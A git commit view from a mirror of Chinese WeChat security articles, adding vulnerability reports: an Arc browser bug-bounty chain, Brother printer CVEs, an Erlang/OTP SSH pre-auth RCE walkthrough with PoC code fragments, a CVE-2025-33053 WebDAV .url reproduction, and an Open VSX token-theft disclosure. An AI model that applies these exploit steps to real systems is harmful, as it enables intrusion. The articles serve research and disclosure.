mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
CVE-2025-33053 Poc复现研究细节、748款打印机存在不可修复的远程代码执行漏洞，涉兄弟、富士等品牌、CVE-2025-32433：Erlang∕OTP SSH 服务器中的预授权 RCE、【漏洞通告】Apache Tomcat安全约束绕过漏洞 (CVE-2025-49125)、$10,000的RCE！、WinRAR 缺陷（CVE-2025-6218）：通过目录遍历执行远程代码、Open VSX 漏洞重创扩展生态，数百万开发者面临供应链劫持、亲测AIFuzzing与XiaYue逻辑漏洞检测插件的区别：AI赋能的安全检测工具优势解析、
This commit is contained in:
test committed
1 parent
4a67833c60
commit
ffdd0548e5
9 files changed
+756
-32
No files matched your search
@@ -15679,5 +15679,13 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523394&idx=2&sn=d589b77eb9be15ec2ad03480d601ade3": "Open VSX Registry中的严重漏洞可用于发动供应链攻击，影响数百万开发人员",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070405&idx=1&sn=afb3be158a42d504cf141b47db4215dc": "【安全圈】兄弟等742款打印机被曝存在安全漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ==&mid=2651207187&idx=1&sn=f804f0e6e0e4ab61c441089cc007d237": "TSRC盛夏众测开启！4倍奖励+单个漏洞最高10+万赏金，挑战心跳夏天",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQyODI4Ng==&mid=2247497115&idx=3&sn=228ace9e52b723b17411f2f534d92f5b": "Python标准库tarfile模块存在任意文件写入高危漏洞，PoC已公开"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQyODI4Ng==&mid=2247497115&idx=3&sn=228ace9e52b723b17411f2f534d92f5b": "Python标准库tarfile模块存在任意文件写入高危漏洞，PoC已公开",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NDcxMDQzNA==&mid=2247489718&idx=1&sn=726cfebbf94e1c4c60e8c850fb4e3673": "CVE-2025-33053 Poc复现研究细节",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651324007&idx=3&sn=ab457bbc0253d3a893c417159d3e4d10": "748款打印机存在不可修复的远程代码执行漏洞，涉兄弟、富士等品牌",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247531429&idx=1&sn=bd56f81866330df6dcad06a198ba156a": "CVE-2025-32433：Erlang∕OTP SSH 服务器中的预授权 RCE",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIxODQ0NDEyNg==&mid=2247483975&idx=1&sn=d8c9debe6b2aa8ce6465872cba70a70e": "【漏洞通告】Apache Tomcat安全约束绕过漏洞 (CVE-2025-49125)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247497783&idx=1&sn=f49fc7ca0cb8d8027c5bcdb60b1a2ac4": "$10,000的RCE！",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NTk4MTE1MQ==&mid=2247487516&idx=1&sn=0022a5911bd065644f71a5821e3a10df": "WinRAR 缺陷（CVE-2025-6218）：通过目录遍历执行远程代码",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649788736&idx=1&sn=d928c3059c6a5c78864232be6184cb05": "Open VSX 漏洞重创扩展生态，数百万开发者面临供应链劫持",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NDUxMTI2NA==&mid=2247485168&idx=1&sn=ccdbf7b18e4e2300a6fa0d4f9aafd306": "亲测AIFuzzing与XiaYue逻辑漏洞检测插件的区别：AI赋能的安全检测工具优势解析"
|
||||
}
|
||||
@@ -0,0 +1,175 @@
|
||||
# $10,000的RCE！
|
||||
迪哥讲事 2025-06-28 09:31
|
||||
|
||||
<table><tbody><tr><td data-colwidth="557" width="557" valign="top" style="word-break: break-all;"><h1 data-selectable-paragraph="" style="white-space: normal;outline: 0px;max-width: 100%;font-family: -apple-system, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;"><span leaf="">声明：</span></span></strong></span><span style="font-size: 15px;"></span></span></strong><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><span leaf="">文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。</span></span></span></h1></td></tr></tbody></table>#
|
||||
|
||||
#
|
||||
|
||||
****
|
||||
****
|
||||
在 Arc 浏览器公布了其漏洞赏金计划后，国外白帽小哥便开始了他的漏洞挖掘之旅，首先他利用逆向技能查看了浏览器的二进制文件：
|
||||
|
||||
|
||||
|
||||
|
||||
很快便发现了一些有趣的端点：
|
||||
|
||||
|
||||
|
||||
|
||||
在浏览器中打开 URL：
|
||||
|
||||
|
||||
|
||||
|
||||
这是一个用于创建 boosts 的漂亮 UI，它只是带有一些自定义配置的扩展，可以在其中创建和编辑多种类型的 boosts，boosts 也将作为扩展自动安装，让我们看看里面的代码和可用路径：
|
||||
|
||||
|
||||
|
||||
|
||||
/play 端点很有趣，访问 arc://boost/play/test
|
||||
:
|
||||
|
||||
|
||||
|
||||
|
||||
查看代码：
|
||||
|
||||
|
||||
|
||||
|
||||
数值从 URL 中提取，然后使用 decompressFromEncodedURIComponent() 函数进行解压缩（假设它就像 Base64），然后传递给 JSON.parse()，之后再加载 boost。
|
||||
|
||||
幸运的是，压缩机制也有 compressToEncodedURIComponent() 函数来测试我们的Payload，让我们创建一个简单的对象进行测试：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
我们遇到了另一个问题，即JSON必须首先是一个数组，尝试修复它 u=’[{“x”:”y”}]’
|
||||
|
||||
|
||||
|
||||
让我们从用户界面创建一个 boost，并在代码中添加一个断点来查看配置情况。
|
||||
|
||||
|
||||
|
||||
|
||||
替换 boost 的配置包括 3 个对象，也就是 3 个文件：content.js 是扩展的Content Script脚本；boost.config.json 是 boost 的设置，其中包含 boost 的名称、范围和描述等信息，这些信息稍后会被用户界面使用；manifest.json 就是 Manifest。让我们创建第一个 boost：
|
||||
|
||||
|
||||
|
||||
|
||||
点击 Install Boost：
|
||||
|
||||
|
||||
|
||||
|
||||
boost 将会被安装，并且在我们的库文件中会创建一个包含所有 3 个文件的新文件夹，通过调整参数可以发现文件 boost.config.json 仅由 UI 和 Arc 使用来显示有关 boost 的信息，并且每个权限和访问权限都在 manifest.json 中声明，**这意味着我们可以欺骗 UI 来显示一个看似无害的 boost，它只会改变 example.com 的背景颜色，而在manifest 文件中，我们声明了所有权限，并可以访问所有内容。**
|
||||
|
||||
|
||||
|
||||
|
||||
这本身就是一个很大的漏洞，它允许我们欺骗 boosts UI 并安装恶意 boosts，从而可以访问所有内容，甚至是 file:// URI
|
||||
，这意味着不仅仅是 UXSS，还可以读取本地文件，这是普通扩展无法做到的，但白帽小哥发现，当安装一个具有所有 URL 完全权限的扩展时，它将可以访问系统上的所有文件：
|
||||
|
||||
|
||||
|
||||
|
||||
为了提升漏洞影响，白帽小哥尝试更深入的研究。
|
||||
|
||||
|
||||
|
||||
|
||||
当设置配置数组时，每个对象内都有两个有趣的值，即名称和路径，作为攻击者，首先想到的便是路径遍历尝试，所以把这两个值都改成../styles.css
|
||||
，然后安装 boost：
|
||||
|
||||
|
||||
|
||||
|
||||
文件在扩展文件夹的父目录中被创建，这意味着使用../ 进行路径遍历，就可以创建具有任意内容和路径的任意文件。
|
||||
|
||||
通过该操作，发现还可以覆盖文件并显示完整的内容，例如覆盖 /etc/passwd 来破坏机器或覆盖二进制，或者覆盖其它程序使用的 .py 和 .js 文件。
|
||||
|
||||
为了测试安全，白帽小哥使用了一个更安全的路径 LaunchAgent， 它是一个包含一堆 plist 配置的文件夹，它将在用户登录或系统启动时运行，一但创建了恶意 plist 文件，它将下载一张图片，将其设置为受害者壁纸，并使用一系列命令打开终端和经典的计算器。
|
||||
|
||||
|
||||
|
||||
|
||||
将压缩数据和路径遍历一起插入到UI中，以便将其插入到LaunchAgents文件夹中：
|
||||
|
||||
|
||||
点击安装：
|
||||
|
||||
|
||||
|
||||
|
||||
成功插入恶意 plist，当系统重启时，代码成功执行：
|
||||
|
||||
|
||||
|
||||
|
||||
但仍然存在一个问题，即如何将 arc:// uri
|
||||
发送给受害者，让受害者点击“安装”，该 URI 很特殊，无法通过正常的 HTTP 导航进入，用户必须将其粘贴到地址栏中并按下 Enter 或浏览器中其他具有更高权限的组件。
|
||||
|
||||
我们可以创建一个扩展并将其上传到Chrome WebStore，有权使用Chrome.tabs.tabs.create导航到URI，然后当用户单击安装时，实现代码执行，但这也需要大量的用户交互，是否有更简单的实现方式呢？
|
||||
|
||||
在浏览 Arc 时，白帽小哥看到了一个名为 Easels 的功能，它允许将其他网站嵌入到白板中并与其他人共享，嵌入功能在某种程度上类似于 iframe，但它允许我们嵌入包括arc://在内的每个页面：
|
||||
|
||||
|
||||
|
||||
|
||||
我们可以分享一个类似https://arc.net/e/ED548B06-…
|
||||
的URL，受害者点击框架后就会安装boost，意味着只需要2次点击，而在用户界面中，启动程序只会更改 example.com 的内容，而受害者并不知道它拥有完全权限，下图概括了完整的攻击流程：
|
||||
|
||||
|
||||
|
||||
|
||||
后续，白帽小哥还发现了一种更加简单的方法，可以在受害者浏览器中打开特殊 URI，这将使攻击变为仅需一次单击的用户交互，即受害者访问 attack.com -> 重定向到 arc://boost/play/… -> 单击安装 -> pwn。
|
||||
|
||||
最终白帽小哥获得了1 万美元的赏金奖励。
|
||||
|
||||
原文：https://medium.com/@renwa/arc-browser-uxss-local-file-read-arbitrary-file-creation-and-path-traversal-to-rce-b439f2a299d1
|
||||
|
||||
- END -
|
||||
|
||||
如果你是一个长期主义者，欢迎加入我的知识星球，我们一起往前走，每日都会更新，精细化运营，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款
|
||||
|
||||
|
||||
## 往期回顾
|
||||
# 如何绕过签名校验
|
||||
#
|
||||
|
||||
[一款bp神器](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495880&idx=1&sn=65d42fbff5e198509e55072674ac5283&chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[挖掘有回显ssrf的隐藏payload](https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496898&idx=1&sn=b6088e20a8b4fc9fbd887b900d8c5247&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[ssrf绕过新思路](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495841&idx=1&sn=bbf477afa30391b8072d23469645d026&chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[一个辅助测试ssrf的工具](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496380&idx=1&sn=78c0c4c67821f5ecbe4f3947b567eeec&chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[dom-xss精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247488819&idx=1&sn=5141f88f3e70b9c97e63a4b68689bf6e&chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[年度精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487187&idx=1&sn=622438ee6492e4c639ebd8500384ab2f&chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Nuclei权威指南-如何躺赚](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487122&idx=1&sn=32459310408d126aa43240673b8b0846&chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞赏金猎人系列-如何测试设置功能IV](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486973&idx=1&sn=6ec419db11ff93d30aa2fbc04d8dbab6&chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞赏金猎人系列-如何测试注册功能以及相关Tips](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect)
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
# 748款打印机存在不可修复的远程代码执行漏洞，涉兄弟、富士等品牌
|
||||
FreeBuf 2025-06-28 11:02
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Rapid7 近日曝光了一系列影响深远的安全漏洞，波及兄弟（Brother）、富士、理光和东芝泰格四大厂商的打印机产品线。 8 个不同 CVE 编号的漏洞共影响 748 款打印机、扫描仪和标签打印机，对企业和消费级环境均构成重大安全威胁。
|
||||
|
||||
|
||||
**Part01**
|
||||
### 高危认证绕过漏洞
|
||||
|
||||
|
||||
最严重的漏洞被标记为 CVE-2024-51978（CVSS 评分 9.8），该认证绕过漏洞允许远程攻击者在无需认证的情况下，仅凭设备序列号即可推导出默认管理员密码。
|
||||
|
||||
|
||||
Rapid7 解释称： "这是由于发现了
|
||||
兄弟（Brother）打印机
|
||||
使用的默认密码生成程序。该程序会将序列号转换为默认密码。" 更令人担忧的是，该漏洞无法通过固件更新完全修复。
|
||||
兄弟（Brother）
|
||||
不得不修改受影响设备的生产流程，这意味着只有新生产的设备才能解决问题。
|
||||
|
||||
|
||||
**Part02**
|
||||
### 远程代码执行攻击链
|
||||
|
||||
|
||||
获取管理员权限后，攻击者可进一步利用高危的基于栈的缓冲区溢出漏洞（CVE-2024-51979，CVSS评分7.2），该漏洞
|
||||
涉及栈缓冲区溢出，经认证的攻击者可加以利用。结合 CVE-2024-51978，攻击者能实现完整的远程代码执行。
|
||||
|
||||
|
||||
Bambanek Consulting的John Bambanek指出："打印机通常属于'即插即忘'类IT设备，容易忽略更新和安全补丁。但它们也具有操作系统，攻击者可利用其进行横向移动和持久化驻留。"
|
||||
|
||||
|
||||
**Part03**
|
||||
### 其他相关漏洞
|
||||
|
||||
|
||||
此外，Rapid7 报告还列出了六个相关的额外漏洞：
|
||||
- CVE-2024-51977 ：通过 HTTP/IPP 服务造成信息泄露
|
||||
|
||||
- CVE-2024-51980/CVE-2024-51981 ：可实现网络横向移动的服务端请求伪造（SSRF）
|
||||
|
||||
- CVE-2024-51982/CVE-2024-51983 ：导致设备崩溃的拒绝服务漏洞
|
||||
|
||||
- CVE-2024-51984 ：从 LDAP 和 FTP 等配置的外部服务泄露密码
|
||||
|
||||
**Part04**
|
||||
### 影响范围与修复建议
|
||||
|
||||
|
||||
据统计，
|
||||
689款兄弟（Brother）设备受到影响以外，这些漏洞还影响46款富士胶片、5款理光、2款东芝泰格和6款柯尼卡美能达机型。
|
||||
Rapid7 与 JPCERT/CC 和 Brother 进行了为期 13 个月的协调披露，目前已有固件更新可缓解 8 个漏洞中的 7 个。
|
||||
|
||||
|
||||
对于
|
||||
最严重的漏洞
|
||||
CVE-2024-51978，
|
||||
兄弟（Brother）
|
||||
提供了临时解决方案，并更新了未来型号的生产流程。 用户应立即采取以下措施：
|
||||
- 立即更新固件
|
||||
|
||||
- 修改默认管理员凭证
|
||||
|
||||
- 查阅厂商公告获取额外缓解措施
|
||||
|
||||
**参考来源：**
|
||||
|
||||
Printer Security Alert: Rapid7 Uncovers Critical Flaws (CVSS 9.8) in Multi Brother Models
|
||||
|
||||
https://securityonline.info/printer-security-alert-rapid7-uncovers-critical-flaws-cvss-9-8-in-multi-brother-models/
|
||||
|
||||
|
||||
###
|
||||
###
|
||||
###
|
||||
|
||||
**推荐阅读**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651323665&idx=1&sn=15875d40f858538184006215073544fb&scene=21#wechat_redirect)
|
||||
|
||||
### 电台讨论
|
||||
|
||||
****
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
# CVE-2025-32433：Erlang/OTP SSH 服务器中的预授权 RCE
|
||||
Ots安全 2025-06-28 11:59
|
||||
|
||||
|
||||
|
||||
网址
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2025-32433
|
||||
|
||||
- https://www.keysight.com/blogs/en/tech/nwvs/2025/05/23/cve-2025-32433-erlang-otp-ssh-server-rce
|
||||
|
||||
目标
|
||||
- OTP 25 ≤ 25.3.2.19
|
||||
|
||||
- OTP 26 ≤ 26.2.5.10
|
||||
|
||||
- OTP 27 ≤ 27.3.2
|
||||
|
||||
解释
|
||||
|
||||
Erlang OTP 是开放电信平台 (Open Telecom Platform) 的缩写。它是一个提供各种功能的平台，可高效开发基于 Erlang 的实时服务器或消息传递系统。
|
||||
|
||||
该漏洞是 Erlang/OTP 的 SSH 服务器模块中的一个预授权 RCE（远程代码执行）漏洞，通过在身份验证过程之前错误地处理 SSH 消息，允许在无需身份验证的情况下远程执行任意代码。
|
||||
|
||||
此漏洞允许攻击者在 SSH 连接期间发送未经身份验证的消息SSH_MSG-CHANNEL_OPEN（消息编号 90）和（消息编号 98），而这些消息应该在身份验证后发送。这些消息用于在用户完成身份验证后打开会话通道，并在通过打开的通道请求命令等时使用。SSH_MSG_CHANNEL_REQUESTSSH_MSG-CHANNEL_OPENSSH_MSG_CHANNEL_REQUEST
|
||||
|
||||
根据SSH 协议规范 ( RFC 4254 )，这些消息应仅在身份验证后才被接受，并且任何提前发送的消息都应被视为会话终止。然而，在存在漏洞的 Erlang/OTP 版本中，SSH 守护进程并未强制执行此规则，这导致攻击者无需身份验证即可打开会话通道并发送 exec 请求。
|
||||
|
||||
攻击流程
|
||||
|
||||
以下是基于公开的PoC代码模拟的攻击流程。
|
||||
|
||||
当客户端和服务器启动 SSH 会话时，它们会相互交换版本信息以验证协议兼容性。例如，客户端与服务器交换字符串 SSH-2.0-OpenSSH_8.9。
|
||||
|
||||
```
|
||||
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")banner = s.recv(1024)
|
||||
```
|
||||
|
||||
|
||||
客户端（攻击者）通过发送 SSH_MSG_KEXINIT 数据包来启动密钥交换过程。此消息包含密钥交换方法、加密算法、压缩选项等列表。
|
||||
|
||||
```
|
||||
defbuild_kexinit(): cookie = b"\x00" * 16 defname_list(l): return string_payload(",".join(l)) # Match server-supported algorithms from the log return ( b"\x14" + cookie + name_list( [ "curve25519-sha256", "ecdh-sha2-nistp256", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", ] ) # kex algorithms + name_list(["rsa-sha2-256", "rsa-sha2-512"]) # host key algorithms + name_list(["aes128-ctr"]) * 2# encryption client->server, server->client + name_list(["hmac-sha1"]) * 2# MAC algorithms + name_list(["none"]) * 2# compression + name_list([]) * 2# languages + b"\x00" + struct.pack(">I", 0) # first_kex_packet_follows, reserved ) ...kex_packet = build_kexinit()s.sendall(pad_packet(kex_packet))
|
||||
```
|
||||
|
||||
|
||||
在初始密钥交换之后，攻击者通过 SSH_MSG_CHANNEL_OPEN 消息请求创建会话通道。通常，只有在用户身份验证完成后才可以发出此请求。
|
||||
|
||||
```
|
||||
defbuild_channel_open(channel_id=0): return ( b"\x5a" # SSH_MSG_CHANNEL_OPEN + string_payload("session") + struct.pack(">I", channel_id) # sender channel ID + struct.pack(">I", 0x68000) # initial window size + struct.pack(">I", 0x10000) # max packet size )...chan_open = build_channel_open()s.sendall(pad_packet(chan_open))
|
||||
```
|
||||
|
||||
|
||||
然而，由于CVE-2025-32433漏洞，服务器无需身份验证即可接受此请求，因此攻击者即使没有身份验证也可以打开通道。
|
||||
|
||||
攻击者发送 SSH_MSG_CHANNEL_REQUEST 消息，请求通过开放通道执行命令。此消息通常用于在经过身份验证的会话中执行命令。
|
||||
|
||||
```
|
||||
chan_req = build_channel_request( command='os:cmd("touch /tmp/test").')s.sendall(pad_packet(chan_req))
|
||||
```
|
||||
|
||||
|
||||
该漏洞允许未经身份验证的消息被接受。因此，包含“exec”有效负载的请求可能会被接受，从而允许攻击者远程执行任意shell命令。
|
||||
|
||||
|
||||
|
||||
此漏洞已在 OTP 版本 27.3.3、26.2.5.11、25.3.2.20 及更高版本中修补。
|
||||
|
||||
参考
|
||||
|
||||
https://www.sonicwall.com/blog/pre-auth-rce-alert-critical-ssh-flaw-in-erlang-otp-cve-2025-32433-
|
||||
|
||||
https://github.com/ProDefense/CVE-2025-32433
|
||||
|
||||
|
||||
|
||||
|
||||
感谢您抽出
|
||||
|
||||
|
||||
|
||||
.
|
||||
|
||||
|
||||
|
||||
.
|
||||
|
||||
|
||||
|
||||
来阅读本文
|
||||
|
||||
|
||||
|
||||
**点它，分享点赞在看都在这里**
|
||||
|
||||
@@ -0,0 +1,115 @@
|
||||
# CVE-2025-33053 Poc复现研究细节
|
||||
原创 MicroPest MicroPest 2025-06-28 15:06
|
||||
|
||||
今天看到这个CVE Poc，来了兴趣，进行了复现，但并不顺利。开始时死活不弹出计算器测试程序，这个过程持续了一下午+一晚上，终在晚上9时，捣鼓出来了，花了2个小时截图、写文章。我觉得网上那些人，咋做得那么顺利呢？曲折有曲折的好处，通过这些过程，让我对其中的细节理解地更深体会更深。
|
||||
|
||||
就这样吧，脖子受不了了。
|
||||
|
||||
2025 年 6 月的 Windows 更新修复了CVE-2025-33053漏洞，这是一个远程代码执行漏洞，目前已发现有人在野外利用。该漏洞允许指向合法本地 Windows 可执行文件的恶意 URL 文件在打开时从攻击者位于互联网上的服务器“侧载”DLL 或 EXE 文件。注意的是，虽然微软将此漏洞命名为“WEBDAV RCE远程代码执行”，但该漏洞通常可以通过任何 SMB 网络共享（包括内部网络共享文件夹）进行利用。然而，由于大多数防火墙和互联网服务提供商会阻止 SMB 流量，因此WebDAV 的攻击场景更加强大，因为它允许恶意 DLL 直接穿过防火墙从互联网上的服务器加载。
|
||||
|
||||
**这个漏洞有点象当年的DLL劫持一样，利用了windows搜索顺序逻辑。**
|
||||
|
||||
****
|
||||
攻击者使用指向 WebDAV 服务器的.url恶意快捷方式。当 Windows 执行合法工具（例如IE/Edge）时，它会默认进入远程文件夹并运行攻击者控制的二进制文件（例如），而不是本地文件。
|
||||
|
||||
|
||||
Poc地址：
|
||||
https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept
|
||||
|
||||
使用过程，见网上很多文章，介绍下我的研究细节，
|
||||
|
||||
1、执行 ./setup_webdav.sh，搭建webdav服务器，如下图部署成功。
|
||||
|
||||
|
||||
|
||||
将calc.exe copy到/var/www/webdav目录下改名为route.exe，以及
|
||||
C:\Program Files\Internet Explorer\iediagcmd.exe也copy到同目录下。
|
||||
|
||||
访问
|
||||
http://192.168.239.128/webdav，如下图表示成功
|
||||
|
||||
|
||||
|
||||
2、生成url文件，
|
||||
|
||||
|
||||
|
||||
说下上图中url的执行顺序，
|
||||
|
||||
先执行
|
||||
URL=C:\Program Files\Internet Explorer\iediagcmd.exe，当它运行时会收集一些信息，这是正常的功能，其中包含了一项功能就是route，所以它会调用route.exe，这时顺序来了，从哪找起呢，注意url的第二行
|
||||
WorkingDirectory=\\192.168.239.128\webdav\
|
||||
，会从webdav服务器上找route这个程序，所以会执行route.exe这个程序，而route.exe是计算器，因此弹出了calc。如果这是个木马，就隐蔽地执行了。
|
||||
|
||||
3、将这个生成的doc.url放到windows本机上，双击，发现并没有弹出名为route.exe的计算器calc程序（后面又弹出了，刚开始时始终不行。下面的截图都是成功弹出）；
|
||||
|
||||
一、成功状况下地分析
|
||||
|
||||
4、架起procmon、procexp进行分析
|
||||
|
||||
监视iediagcmd.exe以及route.exe程序的运行状态
|
||||
|
||||
当我截上面这张图时，弹出了计算器，发现是执行成功了，刚才死活不行的。
|
||||
|
||||
（4-1）我们来看下iediagcmd.exe的执行顺序，
|
||||
|
||||
|
||||
|
||||
找ipconfig，先在当前目录和webdav下找，没找到，转去system32下。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
接着找route，当前目录下没有，就去webdav下找，发现了，执行它。
|
||||
|
||||
|
||||
|
||||
接着找mpr.dll；
|
||||
|
||||
不往下截图了。顺着找，可以将iediagcmd所有调用的收集程序全部找出来，也就意味着webdav服务器可以存放这些“冒名”的程序供它下载执行。
|
||||
|
||||
（4-2）看下procexp，
|
||||
iediagcmd调用了route.exe，如下图。
|
||||
|
||||
|
||||
|
||||
|
||||
====
|
||||
|
||||
二、不成功状态下的方法
|
||||
|
||||
我接着来说前面没执行成功时的做法：
|
||||
|
||||
方法1：
|
||||
|
||||
将url第一行
|
||||
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
|
||||
|
||||
改成：
|
||||
|
||||
URL=\\192.168.239.128\webdav\route.exe
|
||||
|
||||
让它直接执行，这法子果然可行；
|
||||
|
||||
方法2：powershell下执行
|
||||
|
||||
net use z: \\192.168.239.128\webdav
|
||||
|
||||
dir z:
|
||||
|
||||
直接打开共享；后面我关闭了net use z: /delete。
|
||||
|
||||
通过上面两种方法，现在改回
|
||||
URL=C:\Program Files\Internet Explorer\iediagcmd.exe，发现可以弹出route.exe计算器了。
|
||||
|
||||
|
||||
=====
|
||||
|
||||
《[CVE-2025-33053，Stealth Falcon 和 Horus：中东网络间谍活动传奇](https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247531295&idx=2&sn=1bf7b0c5827626d1954d97ddab0be670&scene=21#wechat_redirect)
|
||||
》对整个攻击链的分析，值得一看。
|
||||
|
||||
|
||||
###
|
||||
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
# Open VSX 漏洞重创扩展生态，数百万开发者面临供应链劫持
|
||||
安全客 2025-06-27 06:46
|
||||
|
||||
近日，Koi Security 安全研究团队披露了一个严重的供应链漏洞：开源项目 **Open VSX Registry（open-vsx[.]org）**
|
||||
存在关键安全缺陷，攻击者若成功利用该漏洞，将有可能完全控制**整个 VS Code 扩展市场**
|
||||
，进而**控制数百万开发者终端**
|
||||
，风险级别可比肩历史上最严重的供应链事件。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**一个 CI 问题，撬动整个扩展生态**
|
||||
|
||||
|
||||
Open VSX Registry 是 Eclipse 基金会主导的开源替代方案，广泛集成于 Cursor、Gitpod、Google Cloud Shell Editor、Windsurf 等多款主流开发工具中。由于其承载着开发者每日依赖的 **VS Code 扩展发布任务**
|
||||
，其安全性堪比“包管理系统中的中枢节点”。
|
||||
|
||||
|
||||
Koi Security 研究员 Oren Yomtov 指出，漏洞源自 Open VSX 官方维护的 publish-extensions 仓库，该仓库负责管理所有自动发布扩展的配置与流程。开发者只需向仓库中的 extensions.json 文件提交 PR 添加自己的扩展，即可纳入自动化发布流程。一旦 PR 被审核合并，GitHub Actions 会每日在 UTC 时间 03:03 启动任务，读取该 JSON 文件中列出的扩展名，并通过 vsce npm 包将其发布至 open-vsx.org。
|
||||
|
||||
|
||||
问题出现在该 GitHub Actions 工作流的执行逻辑中。该流程运行时**加载了特权凭据****——即拥有发布和覆盖任意扩展权限的 @open-vsx 服务账号令牌（OVSX_PAT）**
|
||||
：
|
||||
|
||||
|
||||
“理论上，这个令牌只应暴露在受信任的代码路径中。但实际流程中，工作流在执行 npm install 时，会运行所有扩展及其依赖中的构建脚本，而这些脚本能访问到环境变量 OVSX_PAT。”
|
||||
|
||||
|
||||
这意味着攻击者可通过控制某个被自动发布的扩展或其依赖（例如提交一个带恶意构建脚本的 npm 包），在构建过程中**静默窃取该特权令牌**
|
||||
。一旦成功获取 OVSX_PAT，攻击者将获得对 Open VSX Registry 的**完全控制权限**
|
||||
，能够任意发布新扩展、覆盖既有扩展，甚至批量注入后门代码分发至全球开发者终端，造成系统性供应链入侵。
|
||||
|
||||
|
||||
该漏洞于5月4日通过标准披露流程提交给官方，历经多轮审查与修复，最终于6月25日完成漏洞闭环。尽管目前尚无实际被利用迹象，但考虑到其具备**“可静默入侵 + 自动传播 + 高权限部署”**
|
||||
的天然优势，业内对其潜在风险的担忧不容忽视。
|
||||
|
||||
|
||||
